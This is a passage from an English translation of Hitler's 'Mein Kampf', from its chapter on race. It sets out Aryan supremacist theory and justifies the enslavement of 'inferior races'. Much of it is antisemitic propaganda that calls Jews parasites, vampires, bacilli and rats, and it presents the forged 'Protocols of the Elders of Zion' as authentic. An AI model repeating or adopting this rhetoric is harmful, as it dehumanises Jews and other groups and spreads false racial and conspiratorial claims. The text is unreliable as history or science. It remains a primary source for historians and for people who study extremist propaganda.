the word +humanity. It is much simpler to deal with this question in so far as it +relates to the present time. Here the answer is simple and clear. Every +manifestation of human culture, every product of art, science and +technical skill, which we see before our eyes to-day, is almost +exclusively the product of the Aryan creative power. This very fact +fully justifies the conclusion that it was the Aryan alone who founded a +superior type of humanity; therefore he represents the architype of what +we understand by the term: MAN. He is the Prometheus of mankind, from +whose shining brow the divine spark of genius has at all times flashed +forth, always kindling anew that fire which, in the form of knowledge, +illuminated the dark night by drawing aside the veil of mystery and thus +showing man how to rise and become master over all the other beings on +the earth. Should he be forced to disappear, a profound darkness will +descend on the earth; within a few thousand years human culture will +vanish and the world will become a desert. + +If we divide mankind into three categories--founders of culture, bearers +of culture, and destroyers of culture--the Aryan alone can be considered +as representing the first category. It was he who laid the groundwork +and erected the walls of every great structure in human culture. Only +the shape and colour of such structures are to be attributed to the +individual characteristics of the various nations. It is the Aryan who +has furnished the great building-stones and plans for the edifices of +all human progress; only the way in which these plans have been executed +is to be attributed to the qualities of each individual race. Within a +few decades the whole of Eastern Asia, for instance, appropriated a +culture and called such a culture its own, whereas the basis of that +culture was the Greek mind and Teutonic skill as we know it. Only the +external form--at least to a certain degree--shows the traits of an +Asiatic inspiration. It is not true, as some believe, that Japan adds +European technique to a culture of her own. The truth rather is that +European science and technics are just decked out with the peculiar +characteristics of Japanese civilization. The foundations of actual life +in Japan to-day are not those of the native Japanese culture, although +this characterizes the external features of the country, which features +strike the eye of European observers on account of their fundamental +difference from us; but the real foundations of contemporary Japanese +life are the enormous scientific and technical achievements of Europe +and America, that is to say, of Aryan peoples. Only by adopting these +achievements as the foundations of their own progress can the various +nations of the Orient take a place in contemporary world progress. The +scientific and technical achievements of Europe and America provide the +basis on which the struggle for daily livelihood is carried on in the +Orient. They provide the necessary arms and instruments for this +struggle, and only the outer forms of these instruments have become +gradually adapted to Japanese ways of life. + +If, from to-day onwards, the Aryan influence on Japan would cease--and +if we suppose that Europe and America would collapse--then the present +progress of Japan in science and technique might still last for a short +duration; but within a few decades the inspiration would dry up, and +native Japanese character would triumph, while the present civilization +would become fossilized and fall back into the sleep from which it was +aroused about seventy years ago by the impact of Aryan culture. We may +therefore draw the conclusion that, just as the present Japanese +development has been due to Aryan influence, so in the immemorial past +an outside influence and an outside culture brought into existence the +Japanese culture of that day. This opinion is very strongly supported by +the fact that the ancient civilization of Japan actually became +fossilizied and petrified. Such a process of senility can happen only if +a people loses the racial cell which originally had been creative or if +the outside influence should be withdrawn after having awakened and +maintained the first cultural developments in that region. If it be +shown that a people owes the fundamental elements of its culture to +foreign races, assimilating and elaborating such elements, and if +subsequently that culture becomes fossilized whenever the external +influence ceases, then such a race may be called the depository but +never the creator of a culture. + +If we subject the different peoples to a strict test from this +standpoint we shall find that scarcely any one of them has originally +created a culture, but almost all have been merely the recipients of a +culture created elsewhere. + +This development may be depicted as always happening somewhat in the +following way: + +Aryan tribes, often almost ridiculously small in number, subjugated +foreign peoples and, stimulated by the conditions of life which their +new country offered them (fertility, the nature of the climate, etc.), +and profiting also by the abundance of manual labour furnished them by +the inferior race, they developed intellectual and organizing faculties +which had hitherto been dormant in these conquering tribes. Within the +course of a few thousand years, or even centuries, they gave life to +cultures whose primitive traits completely corresponded to the character +of the founders, though modified by adaptation to the peculiarities of +the soil and the characteristics of the subjugated people. But finally +the conquering race offended against the principles which they first had +observed, namely, the maintenance of their racial stock unmixed, and +they began to intermingle with the subjugated people. Thus they put an +end to their own separate existence; for the original sin committed in +Paradise has always been followed by the expulsion of the guilty +parties. + +After a thousand years or more the last visible traces of those former +masters may then be found in a lighter tint of the skin which the Aryan +blood had bequeathed to the subjugated race, and in a fossilized culture +of which those Aryans had been the original creators. For just as the +blood. of the conqueror, who was a conqueror not only in body but also +in spirit, got submerged in the blood of the subject race, so the +substance disappeared out of which the torch of human culture and +progress was kindled. In so far as the blood of the former ruling race +has left a light nuance of colour in the blood of its descendants, as a +token and a memory, the night of cultural life is rendered less dim and +dark by a mild light radiated from the products of those who were the +bearers of the original fire. Their radiance shines across the barbarism +to which the subjected race has reverted and might often lead the +superficial observer to believe that he sees before him an image of the +present race when he is really looking into a mirror wherein only the +past is reflected. + +It may happen that in the course of its history such a people will come +into contact a second time, and even oftener, with the original founders +of their culture and may not even remember that distant association. +Instinctively the remnants of blood left from that old ruling race will +be drawn towards this new phenomenon and what had formerly been possible +only under compulsion can now be successfully achieved in a voluntary +way. A new cultural wave flows in and lasts until the blood of its +standard-bearers becomes once again adulterated by intermixture with the +originally conquered race. + +It will be the task of those who set themselves to the study of a +universal history of civilization to investigate history from this point +of view instead of allowing themselves to be smothered under the mass of +external data, as is only too often the case with our present historical +science. + +This short sketch of the changes that take place among those races that +are only the depositories of a culture also furnishes a picture of the +development and the activity and the disappearance of those who are the +true founders of culture on this earth, namely the Aryans themselves. + +Just as in our daily life the so-called man of genius needs a particular +occasion, and sometimes indeed a special stimulus, to bring his genius +to light, so too in the life of the peoples the race that has genius in +it needs the occasion and stimulus to bring that genius to expression. +In the monotony and routine of everyday life even persons of +significance seem just like the others and do not rise beyond the +average level of their fellow-men. But as soon as such men find +themselves in a special situation which disconcerts and unbalances the +others, the humble person of apparently common qualities reveals traits +of genius, often to the amazement of those who have hitherto known him +in the small things of everyday life. That is the reason why a prophet +only seldom counts for something in his own country. War offers an +excellent occasion for observing this phenomenon. In times of distress, +when the others despair, apparently harmless boys suddenly spring up and +become heroes, full of determination, undaunted in the presence of Death +and manifesting wonderful powers of calm reflection under such +circumstances. If such an hour of trial did not come nobody would have +thought that the soul of a hero lurked in the body of that beardless +youth. A special impulse is almost always necessary to bring a man of +genius into the foreground. The sledge-hammer of Fate which strikes down +the one so easily suddenly finds the counter-impact of steel when it +strikes at the other. And, after the common shell of everyday life is +broken, the core that lay hidden in it is displayed to the eyes of an +astonished world. This surrounding world then grows obstinate and will +not believe that what had seemed so like itself is really of that +different quality so suddenly displayed. This is a process which is +repeated probably every time a man of outstanding significance appears. + +Though an inventor, for example, does not establish his fame until the +very day that he carries through his invention, it would be a mistake to +believe that the creative genius did not become alive in him until that +moment. From the very hour of his birth the spark of genius is living +within the man who has been endowed with the real creative faculty. True +genius is an innate quality. It can never be the result of education or +training. + +As I have stated already, this holds good not merely of the individual +but also of the race. Those peoples who manifest creative abilities in +certain periods of their history have always been fundamentally +creative. It belongs to their very nature, even though this fact may +escape the eyes of the superficial observer. Here also recognition from +outside is only the consequence of practical achievement. Since the rest +of the world is incapable of recognizing genius as such, it can only see +the visible manifestations of genius in the form of inventions, +discoveries, buildings, painting, etc.; but even here a long time passes +before recognition is given. Just as the individual person who has been +endowed with the gift of genius, or at least talent of a very high +order, cannot bring that endowment to realization until he comes under +the urge of special circumstances, so in the life of the nations the +creative capacities and powers frequently have to wait until certain +conditions stimulate them to action. + +The most obvious example of this truth is furnished by that race which +has been, and still is, the standard-bearer of human progress: I mean +the Aryan race. As soon as Fate brings them face to face with special +circumstances their powers begin to develop progressively and to be +manifested in tangible form. The characteristic cultures which they +create under such circumstances are almost always conditioned by the +soil, the climate and the people they subjugate. The last factor--that +of the character of the people--is the most decisive one. The more +primitive the technical conditions under which the civilizing activity +takes place, the more necessary is the existence of manual labour which +can be organized and employed so as to take the place of mechanical +power. Had it not been possible for them to employ members of the +inferior race which they conquered, the Aryans would never have been in +a position to take the first steps on the road which led them to a later +type of culture; just as, without the help of certain suitable animals +which they were able to tame, they would never have come to the +invention of mechanical power which has subsequently enabled them to do +without these beasts. The phrase, 'The Moor has accomplished his +function, so let him now depart', has, unfortunately, a profound +application. For thousands of years the horse has been the faithful +servant of man and has helped him to lay the foundations of human +progress, but now motor power has dispensed with the use of the horse. +In a few years to come the use of the horse will cease entirely; and yet +without its collaboration man could scarcely have come to the stage of +development which he has now created. + +For the establishment of superior types of civilization the members of +inferior races formed one of the most essential pre-requisites. They +alone could supply the lack of mechanical means without which no +progress is possible. It is certain that the first stages of human +civilization were not based so much on the use of tame animals as on the +employment of human beings who were members of an inferior race. + +Only after subjugated races were employed as slaves was a similar fate +allotted to animals, and not vice versa, as some people would have us +believe. At first it was the conquered enemy who had to draw the plough +and only afterwards did the ox and horse take his place. Nobody else but +puling pacifists can consider this fact as a sign of human degradation. +Such people fail to recognize that this evolution had to take place in +order that man might reach that degree of civilization which these +apostles now exploit in an attempt to make the world pay attention to +their rigmarole. + +The progress of mankind may be compared to the process of ascending an +infinite ladder. One does not reach the higher level without first +having climbed the lower rungs. The Aryan therefore had to take that +road which his sense of reality pointed out to him and not that which +the modern pacifist dreams of. The path of reality is, however, +difficult and hard to tread; yet it is the only one which finally leads +to the goal where the others envisage mankind in their dreams. But the +real truth is that those dreamers help only to lead man away from his +goal rather than towards it. + +It was not by mere chance that the first forms of civilization arose +there where the Aryan came into contact with inferior races, subjugated +them and forced them to obey his command. The members of the inferior +race became the first mechanical tools in the service of a growing +civilization. + +Thereby the way was clearly indicated which the Aryan had to follow. As +a conqueror, he subjugated inferior races and turned their physical +powers into organized channels under his own leadership, forcing them to +follow his will and purpose. By imposing on them a useful, though hard, +manner of employing their powers he not only spared the lives of those +whom he had conquered but probably made their lives easier than these +had been in the former state of so-called 'freedom'. While he ruthlessly +maintained his position as their master, he not only remained master but +he also maintained and advanced civilization. For this depended +exclusively on his inborn abilities and, therefore, on the preservation +of the Aryan race as such. As soon, however, as his subject began to +rise and approach the level of their conqueror, a phase of which +ascension was probably the use of his language, the barriers that had +distinguished master from servant broke down. The Aryan neglected to +maintain his own racial stock unmixed and therewith lost the right to +live in the paradise which he himself had created. He became submerged +in the racial mixture and gradually lost his cultural creativeness, +until he finally grew, not only mentally but also physically, more like +the aborigines whom he had subjected rather than his own ancestors. For +some time he could continue to live on the capital of that culture which +still remained; but a condition of fossilization soon set in and he sank +into oblivion. + +That is how cultures and empires decline and yield their places to new +formations. + +The adulteration of the blood and racial deterioration conditioned +thereby are the only causes that account for the decline of ancient +civilizations; for it is never by war that nations are ruined, but by +the loss of their powers of resistance, which are exclusively a +characteristic of pure racial blood. In this world everything that is +not of sound racial stock is like chaff. Every historical event in the +world is nothing more nor less than a manifestation of the instinct of +racial self-preservation, whether for weal or woe. + +The question as to the ground reasons for the predominant importance of +Aryanism can be answered by pointing out that it is not so much that the +Aryans are endowed with a stronger instinct for self-preservation, but +rather that this manifests itself in a way which is peculiar to +themselves. Considered from the subjective standpoint, the will-to-live +is of course equally strong all round and only the forms in which it is +expressed are different. Among the most primitive organisms the instinct +for self-preservation does not extend beyond the care of the individual +ego. Egotism, as we call this passion, is so predominant that it +includes even the time element; which means that the present moment is +deemed the most important and that nothing is left to the future. The +animal lives only for itself, searching for food only when it feels +hunger and fighting only for the preservation of its own life. As long +as the instinct for self-preservation manifests itself exclusively in +such a way, there is no basis for the establishment of a community; not +even the most primitive form of all, that is to say the family. The +society formed by the male with the female, where it goes beyond the +mere conditions of mating, calls for the extension of the instinct of +self-preservation, since the readiness to fight for one's own ego has to +be extended also to the mate. The male sometimes provides food for the +female, but in most cases both parents provide food for the offspring. +Almost always they are ready to protect and defend each other; so that +here we find the first, though infinitely simple, manifestation of the +spirit of sacrifice. As soon as this spirit extends beyond the narrow +limits of the family, we have the conditions under which larger +associations and finally even States can be formed. + +The lowest species of human beings give evidence of this quality only to +a very small degree, so that often they do not go beyond the formation +of the family society. With an increasing readiness to place their +immediate personal interests in the background, the capacity for +organizing more extensive communities develops. + +The readiness to sacrifice one's personal work and, if necessary, even +one's life for others shows its most highly developed form in the Aryan +race. The greatness of the Aryan is not based on his intellectual +powers, but rather on his willingness to devote all his faculties to the +service of the community. Here the instinct for self-preservation has +reached its noblest form; for the Aryan willingly subordinates his own +ego to the common weal and when necessity calls he will even sacrifice +his own life for the community. + +The constructive powers of the Aryan and that peculiar ability he has +for the building up of a culture are not grounded in his intellectual +gifts alone. If that were so they might only be destructive and could +never have the ability to organize; for the latter essentially depends +on the readiness of the individual to renounce his own personal opinions +and interests and to lay both at the service of the human group. By +serving the common weal he receives his reward in return. For example, +he does not work directly for himself but makes his productive work a +part of the activity of the group to which he belongs, not only for his +own benefit but for the general. The spirit underlying this attitude is +expressed by the word: WORK, which to him does not at all signify a +means of earning one's daily livelihood but rather a productive activity +which cannot clash with the interests of the community. Whenever human +activity is directed exclusively to the service of the instinct for +self-preservation it is called theft or usury, robbery or burglary, etc. + +This mental attitude, which forces self-interest to recede into the +background in favour of the common weal, is the first prerequisite for +any kind of really human civilization. It is out of this spirit alone +that great human achievements have sprung for which the original doers +have scarcely ever received any recompense but which turns out to be the +source of abundant benefit for their descendants. It is this spirit +alone which can explain why it so often happens that people can endure a +harsh but honest existence which offers them no returns for their toil +except a poor and modest livelihood. But such a livelihood helps to +consolidate the foundations on which the community exists. Every worker +and every peasant, every inventor, state official, etc., who works +without ever achieving fortune or prosperity for himself, is a +representative of this sublime idea, even though he may never become +conscious of the profound meaning of his own activity. + +Everything that may be said of that kind of work which is the +fundamental condition of providing food and the basic means of human +progress is true even in a higher sense of work that is done for the +protection of man and his civilization. The renunciation of one's own +life for the sake of the community is the crowning significance of the +idea of all sacrifice. In this way only is it possible to protect what +has been built up by man and to assure that this will not be destroyed +by the hand of man or of nature. + +In the German language we have a word which admirably expresses this +underlying spirit of all work: It is Pflichterfüllung, which means the +service of the common weal before the consideration of one's own +interests. The fundamental spirit out of which this kind of activity +springs is the contradistinction of 'Egotism' and we call it 'Idealism'. +By this we mean to signify the willingness of the individual to make +sacrifices for the community and his fellow-men. + +It is of the utmost importance to insist again and again that idealism +is not merely a superfluous manifestation of sentiment but rather +something which has been, is and always will be, a necessary +precondition of human civilization; it is even out of this that the very +idea of the word 'Human' arises. To this kind of mentality the Aryan +owes his position in the world. And the world is indebted to the Aryan +mind for having developed the concept of 'mankind'; for it is out of +this spirit alone that the creative force has come which in a unique way +combined robust muscular power with a first-class intellect and thus +created the monuments of human civilization. + +Were it not for idealism all the faculties of the intellect, even the +most brilliant, would be nothing but intellect itself, a mere external +phenomenon without inner value and never a creative force. + +Since true idealism, however, is essentially the subordination of the +interests and life of the individual to the interests and life of the +community, and since the community on its part represents the +pre-requisite condition of every form of organization, this idealism +accords in its innermost essence with the final purpose of Nature. This +feeling alone makes men voluntarily acknowledge that strength and power +are entitled to take the lead and thus makes them a constituent particle +in that order out of which the whole universe is shaped and formed. + +Without being conscious of it, the purest idealism is always associated +with the most profound knowledge. How true this is and how little +genuine idealism has to do with fantastic self-dramatization will become +clear the moment we ask an unspoilt child, a healthy boy for example, to +give his opinion. The very same boy who listens to the rantings of an +'idealistic' pacifist without understanding them, and even rejects them, +would readily sacrifice his young life for the ideal of his people. + +Unconsciously his instinct will submit to the knowledge that the +preservation of the species, even at the cost of the individual life, is +a primal necessity and he will protest against the fantasies of pacifist +ranters, who in reality are nothing better than cowardly egoists, even +though camouflaged, who contradict the laws of human development. For it +is a necessity of human evolution that the individual should be imbued +with the spirit of sacrifice in favour of the common weal, and that he +should not be influenced by the morbid notions of those knaves who +pretend to know better than Nature and who have the impudencc to +criticize her decrees. + +It is just at those junctures when the idealistic attitude threatens to +disappear that we notice a weakening of this force which is a necessary +constituent in the founding and maintenance of the community and is +thereby a necessary condition of civilization. As soon as the spirit of +egotism begins to prevail among a people then the bonds of the social +order break and man, by seeking his own personal happiness, veritably +tumbles out of heaven and falls into hell. + +Posterity will not remember those who pursued only their own individual +interests, but it will praise those heroes who renounced their own +happiness. + +The Jew offers the most striking contrast to the Aryan. There is +probably no other people in the world who have so developed the instinct +of self-preservation as the so-called 'chosen' people. The best proof of +this statement is found in the simple fact that this race still exists. +Where can another people be found that in the course of the last two +thousand years has undergone so few changes in mental outlook and +character as the Jewish people? And yet what other people has taken such +a constant part in the great revolutions? But even after having passed +through the most gigantic catastrophes that have overwhelmed mankind, +the Jews remain the same as ever. What an infinitely tenacious +will-to-live, to preserve one's kind, is demonstrated by that fact! + +The intellectual faculties of the Jew have been trained through +thousands of years. To-day the Jew is looked upon as specially +'cunning'; and in a certain sense he has been so throughout the ages. +His intellectual powers, however, are not the result of an inner +evolution but rather have been shaped by the object-lessons which the +Jew has received from others. The human spirit cannot climb upwards +without taking successive steps. For every step upwards it needs the +foundation of what has been constructed before--the past--which in, the +comprehensive sense here employed, can have been laid only in a general +civilization. All thinking originates only to a very small degree in +personal experience. The largest part is based on the accumulated +experiences of the past. The general level of civilization provides the +individual, who in most cases is not consciously aware of the fact, with +such an abundance of preliminary knowledge that with this equipment he +can more easily take further steps on the road of progress. The boy of +to-day, for example, grows up among such an overwhelming mass of +technical achievement which has accumulated during the last century that +he takes as granted many things which a hundred years ago were still +mysteries even to the greatest minds of those times. Yet these things +that are not so much a matter of course are of enormous importance to +those who would understand the progress we have made in these matters +and would carry on that progress a step farther. If a man of genius +belonging to the 'twenties of the last century were to arise from his +grave to-day he would find it more difficult to understand our present +age than the contemporary boy of fifteen years of age who may even have +only an average intelligence. The man of genius, thus come back from the +past, would need to provide himself with an extraordinary amount of +preliminary information which our contemporary youth receive +automatically, so to speak, during the time they are growing up among +the products of our modern civilization. + +Since the Jew--for reasons that I shall deal with immediately--never had +a civilization of his own, he has always been furnished by others with a +basis for his: intellectual work. His intellect has always developed by +the use of those cultural achievements which he has found ready-to-hand +around him. + +The process has never been the reverse. + +For, though among the Jews the instinct of self-preservation has not +been weaker but has been much stronger than among other peoples, and +though the impression may easily be created that the intellectual powers +of the Jew are at least equal to those of other races, the Jews +completely lack the most essential pre-requisite of a cultural people, +namely the idealistic spirit. With the Jewish people the readiness for +sacrifice does not extend beyond the simple instinct of individual +preservation. In their case the feeling of racial solidarity which they +apparently manifest is nothing but a very primitive gregarious instinct, +similar to that which may be found among other organisms in this world. +It is a remarkable fact that this herd instinct brings individuals +together for mutual protection only as long as there is a common danger +which makes mutual assistance expedient or inevitable. The same pack of +wolves which a moment ago joined together in a common attack on their +victim will dissolve into individual wolves as soon as their hunger has +been satisfied. This is also sure of horses, which unite to defend +themselves against any aggressor but separate the moment the danger is +over. + +It is much the same with the Jew. His spirit of sacrifice is only +apparent. It manifests itself only so long as the existence of the +individual makes this a matter of absolute necessity. But as soon as the +common foe is conquered and the danger which threatened the individual +Jews is overcome and the prey secured, then the apparent harmony +disappears and the original conditions set in again. Jews act in concord +only when a common danger threatens them or a common prey attracts them. +Where these two motives no longer exist then the most brutal egotism +appears and these people who before had lived together in unity will +turn into a swarm of rats that bitterly fight against each other. + +If the Jews were the only people in the world they would be wallowing in +filth and mire and would exploit one another and try to exterminate one +another in a bitter struggle, except in so far as their utter lack of +the ideal of sacrifice, which shows itself in their cowardly spirit, +would prevent this struggle from developing. + +Therefore it would be a complete mistake to interpret the mutual help +which the Jews render one another when they have to fight--or, to put it +more accurately, to exploit--their fellow being, as the expression of a +certain idealistic spirit of sacrifice. + +Here again the Jew merely follows the call of his individual egotism. +That is why the Jewish State, which ought to be a vital organization to +serve the purpose of preserving or increasing the race, has absolutely +no territorial boundaries. For the territorial delimitation of a State +always demands a certain idealism of spirit on the part of the race +which forms that State and especially a proper acceptance of the idea of +work. A State which is territorially delimited cannot be established or +maintained unless the general attitude towards work be a positive one. +If this attitude be lacking, then the necessary basis of a civilization +is also lacking. + +That is why the Jewish people, despite the intellectual powers with +which they are apparently endowed, have not a culture--certainly not a +culture of their own. The culture which the Jew enjoys to-day is the +product of the work of others and this product is debased in the hands +of the Jew. + +In order to form a correct judgment of the place which the Jew holds in +relation to the whole problem of human civilization, we must bear in +mind the essential fact that there never has been any Jewish art and +consequently that nothing of this kind exists to-day. We must realize +that especially in those two royal domains of art, namely architecture +and music, the Jew has done no original creative work. When the Jew +comes to producing something in the field of art he merely bowdler-izes +something already in existence or simply steals the intellectual word, +of others. The Jew essentially lacks those qualities which are +characteristic of those creative races that are the founders of +civilization. + +To what extent the Jew appropriates the civilization built up by +others--or rather corrupts it, to speak more accurately--is indicated by +the fact that he cultivates chiefly the art which calls for the smallest +amount of original invention, namely the dramatic art. And even here he +is nothing better than a kind of juggler or, perhaps more correctly +speaking, a kind of monkey imitator; for in this domain also he lacks +the creative elan which is necessary for the production of all really +great work. Even here, therefore, he is not a creative genius but rather +a superficial imitator who, in spite of all his retouching and tricks, +cannot disguise the fact that there is no inner vitality in the shape he +gives his products. At this juncture the Jewish Press comes in and +renders friendly assistance by shouting hosannas over the head of even +the most ordinary bungler of a Jew, until the rest of the world is +stampeded into thinking that the object of so much praise must really be +an artist, whereas in reality he may be nothing more than a low-class +mimic. + +No; the Jews have not the creative abilities which are necessary to the +founding of a civilization; for in them there is not, and never has +been, that spirit of idealism which is an absolutely necessary element +in the higher development of mankind. Therefore the Jewish intellect +will never be constructive but always destructive. At best it may serve +as a stimulus in rare cases but only within the meaning of the poet's +lines: 'THE POWER WHICH ALWAYS WILLS THE BAD, AND ALWAYS WORKS THE GOOD' +(KRAFT, DIE STETS DAS BÖSE WILL UND STETS DAS GUTE SCHAFFT). (Note 15) It +is not through his help but in spite of his help that mankind makes any +progress. + +[Note 15. When Mephistopheles first appears to Faust, in the latter's +study, Faust inquires: "What is thy name?" To which Mephistopheles +replies: "A part ofthe Power which always wills the Bad and always works +the Good." And when Faust asks him what is meant by this riddle and why he +should call himself'a part,' the gist of Mephistopheles' reply is that he +is the Spirit of Negation and exists through opposition to the positive +Truth and Order and Beauty which proceed from the never-ending creative +energy of the Deity. In the Prologue to Faust the Lord declares that +man's active nature would grow sluggishin working the good and that +therefore he has to be aroused by the Spirit of Opposition. This Spirit +wills the Bad, but of itself it can do nothing positive, and by its +opposition always works the opposite of what it wills.] + +Since the Jew has never had a State which was based on territorial +delimitations, and therefore never a civilization of his own, the idea +arose that here we were dealing with a people who had to be considered +as Nomads. That is a great and mischievous mistake. The true nomad does +actually possess a definite delimited territory where he lives. It is +merely that he does not cultivate it, as the settled farmer does, but +that he lives on the products of his herds, with which he wanders over +his domain. The natural reason for this mode of existence is to be found +in the fact that the soil is not fertile and that it does not give the +steady produce which makes a fixed abode possible. Outside of this +natural cause, however, there is a more profound cause: namely, that no +mechanical civilization is at hand to make up for the natural poverty of +the region in question. There are territories where the Aryan can +establish fixed settlements by means of the technical skill which he has +developed in the course of more than a thousand years, even though these +territories would otherwise have to be abandoned, unless the Aryan were +willing to wander about them in nomadic fashion; but his technical +tradition and his age-long experience of the use of technical means +would probably make the nomadic life unbearable for him. We ought to +remember that during the first period of American colonization numerous +Aryans earned their daily livelihood as trappers and hunters, etc., +frequently wandering about in large groups with their women and +children, their mode of existence very much resembling that of ordinary +nomads. The moment, however, that they grew more numerous and were able +to accumulate larger resources, they cleared the land and drove out the +aborigines, at the same time establishing settlements which rapidly +increased all over the country. + +The Aryan himself was probably at first a nomad and became a settler in +the course of ages. But yet he was never of the Jewish kind. The Jew is +not a nomad; for the nomad has already a definite attitude towards the +concept of 'work', and this attitude served as the basis of a later +cultural development, when the necessary intellectual conditions were at +hand. There is a certain amount of idealism in the general attitude of +the nomad, even though it be rather primitive. His whole character may, +therefore, be foreign to Aryan feeling but it will never be repulsive. +But not even the slightest trace of idealism exists in the Jewish +character. The Jew has never been a nomad, but always a parasite, +battening on the substance of others. If he occasionally abandoned +regions where he had hitherto lived he did not do it voluntarily. He did +it because from time to time he was driven out by people who were tired +of having their hospitality abused by such guests. Jewish self-expansion +is a parasitic phenomenon--since the Jew is always looking for new +pastures for his race. + +But this has nothing to do with nomadic life as such; because the Jew +does not ever think of leaving a territory which he has once occupied. +He sticks where he is with such tenacity that he can hardly be driven +out even by superior physical force. He expands into new territories +only when certain conditions for his existence are provided therein; but +even then--unlike the nomad--he will not change his former abode. He is +and remains a parasite, a sponger who, like a pernicious bacillus, +spreads over wider and wider areas according as some favourable area +attracts him. The effect produced by his presence is also like that of +the vampire; for wherever he establishes himself the people who grant +him hospitality are bound to be bled to death sooner or later. Thus the +Jew has at all times lived in States that have belonged to other races +and within the organization of those States he had formed a State of his +own, which is, however, hidden behind the mask of a 'religious +community', as long as external circumstances do not make it advisable +for this community to declare its true nature. As soon as the Jew feels +himself sufficiently established in his position to be able to hold it +without a disguise, he lifts the mask and suddenly appears in the +character which so many did not formerly believe or wish to see: namely +that of the Jew. + +The life which the Jew lives as a parasite thriving on the substance of +other nations and States has resulted in developing that specific +character which Schopenhauer once described when he spoke of the Jew as +'The Great Master of Lies'. The kind of existence which he leads forces +the Jew to the systematic use of falsehood, just as naturally as the +inhabitants of northern climates are forced to wear warm clothes. + +He can live among other nations and States only as long as he succeeds +in persuading them that the Jews are not a distinct people but the +representatives of a religious faith who thus constitute a 'religious +community', though this be of a peculiar character. + +As a matter of fact, however, this is the first of his great falsehoods. + +He is obliged to conceal his own particular character and mode of life +that he may be allowed to continue his existence as a parasite among the +nations. The greater the intelligence of the individual Jew, the better +will he succeed in deceiving others. His success in this line may even +go so far that the people who grant him hospitality may be led to +believe that the Jew among them is a genuine Frenchman, for instance, or +Englishman or German or Italian, who just happens to belong to a +religious denomination which is different from that prevailing in these +countries. Especially in circles concerned with the executive +administration of the State, where the officials generally have only a +minimum of historical sense, the Jew is able to impose his infamous +deception with comparative ease. In these circles independent thinking +is considered a sin against the sacred rules according to which official +promotion takes place. It is therefore not surprising that even to-day +in the Bavarian government offices, for example, there is not the +slightest suspicion that the Jews form a distinct nation themselves and +are not merely the adherents of a 'Confession', though one glance at the +Press which belongs to the Jews ought to furnish sufficient evidence to +the contrary even for those who possess only the smallest degree of +intelligence. The JEWISH ECHO, however, is not an official gazette and +therefore not authoritative in the eyes of those government potentates. + +Jewry has always been a nation of a definite racial character and never +differentiated merely by the fact of belonging to a certain religion. At +a very early date, urged on by the desire to make their way in the +world, the Jews began to cast about for a means whereby they might +distract such attention as might prove inconvenient for them. What could +be more effective and at the same time more above suspicion than to +borrow and utilize the idea of the religious community? Here also +everything is copied, or rather stolen; for the Jew could not possess +any religious institution which had developed out of his own +consciousness, seeing that he lacks every kind of idealism; which means +that belief in a life beyond this terrestrial existence is foreign to +him. In the Aryan mind no religion can ever be imagined unless it +embodies the conviction that life in some form or other will continue +after death. As a matter of fact, the Talmud is not a book that lays +down principles according to which the individual should prepare for the +life to come. It only furnishes rules for a practical and convenient +life in this world. + +The religious teaching of the Jews is principally a collection of +instructions for maintaining the Jewish blood pure and for regulating +intercourse between Jews and the rest of the world: that is to say, +their relation with non-Jews. But the Jewish religious teaching is not +concerned with moral problems. It is rather concerned with economic +problems, and very petty ones at that. In regard to the moral value of +the religious teaching of the Jews there exist and always have existed +quite exhaustive studies (not from the Jewish side; for whatever the +Jews have written on this question has naturally always been of a +tendentious character) which show up the kind of religion that the Jews +have in a light that makes it look very uncanny to the Aryan mind. The +Jew himself is the best example of the kind of product which this +religious training evolves. His life is of this world only and his +mentality is as foreign to the true spirit of Christianity as his +character was foreign to the great Founder of this new creed two +thousand years ago. And the Founder of Christianity made no secret +indeed of His estimation of the Jewish people. When He found it +necessary He drove those enemies of the human race out of the Temple of +God; because then, as always, they used religion as a means of advancing +their commercial interests. But at that time Christ was nailed to the +Cross for his attitude towards the Jews; whereas our modern Christians +enter into party politics and when elections are being held they debase +themselves to beg for Jewish votes. They even enter into political +intrigues with the atheistic Jewish parties against the interests of +their own Christian nation. + +On this first and fundamental lie, the purpose of which is to make +people believe that Jewry is not a nation but a religion, other lies are +subsequently based. One of those further lies, for example, is in +connection with the language spoken by the Jew. For him language is not +an instrument for the expression of his inner thoughts but rather a +means of cloaking them. When talking French his thoughts are Jewish and +when writing German rhymes he only gives expression to the character of +his own race. + +As long as the Jew has not succeeded in mastering other peoples he is +forced to speak their language whether he likes it or not. But the +moment that the world would become the slave of the Jew it would have to +learn some other language (Esperanto, for example) so that by this means +the Jew could dominate all the more easily. + +How much the whole existence of this people is based on a permanent +falsehood is proved in a unique way by 'The Protocols of the Elders of +Zion', which are so violently repudiated by the Jews. With groans and +moans, the FRANKFURTER ZEITUNG repeats again and again that these are +forgeries. This alone is evidence in favour of their authenticity. What +many Jews unconsciously wish to do is here clearly set forth. It is not +necessary to ask out of what Jewish brain these revelations sprang; but +what is of vital interest is that they disclose, with an almost +terrifying precision, the mentality and methods of action characteristic +of the Jewish people and these writings expound in all their various +directions the final aims towards which the Jews are striving. The study +of real happenings, however, is the best way of judging the authenticity +of those documents. If the historical developments which have taken +place within the last few centuries be studied in the light of this book +we shall understand why the Jewish Press incessantly repudiates and +denounces it. For the Jewish peril will be stamped out the moment the +general public come into possession of that book and understand it. + +In order to get to know the Jew properly it is necessary to study the +road which he has been following among the other peoples during the last +few centuries. One example will suffice to give a clear insight here. +Since his career has been the same at all epochs--just as the people at +whose expense he has lived have remained the same--for the purposes of +making the requisite analysis it will be best to mark his progress by +stages. For the sake of simplicity we shall indicate these stages by +letters of the alphabet. + +The first Jews came into what was then called Germania during the period +of the Roman invasion; and, as usual, they came as merchants. During the +turmoil caused by the great migrations of the German tribes the Jews +seem to have disappeared. We may therefore consider the period when the +Germans formed the first political communities as the beginning of that +process whereby Central and Northern Europe was again, and this time +permanently, Judaized. A development began which has always been the +same or similar wherever and whenever Jews came into contact with Aryan +peoples. + +(a) As soon as the first permanent settlements had been established the +Jew was suddenly 'there'. He arrived as a merchant and in the beginning +did not trouble to disguise his nationality. He still remained openly a +Jew, partly it may be because he knew too little of the language. It may +also be that people of other races refused to mix with him, so that he +could not very well adopt any other appearance than that of a foreign +merchant. Because of his subtlety and cunning and the lack of experience +on the part of the people whose guest he became, it was not to his +disadvantage openly to retain his Jewish character. This may even have +been advantageous to him; for the foreigner was received kindly. + +(b) Slowly but steadily he began to take part in the economic life +around him; not as a producer, however, but only as a middleman. His +commercial cunning, acquired through thousands of years of negotiation +as an intermediary, made him superior in this field to the Aryans, who +were still quite ingenuous and indeed clumsy and whose honesty was +unlimited; so that after a short while commerce seemed destined to +become a Jewish monopoly. The Jew began by lending 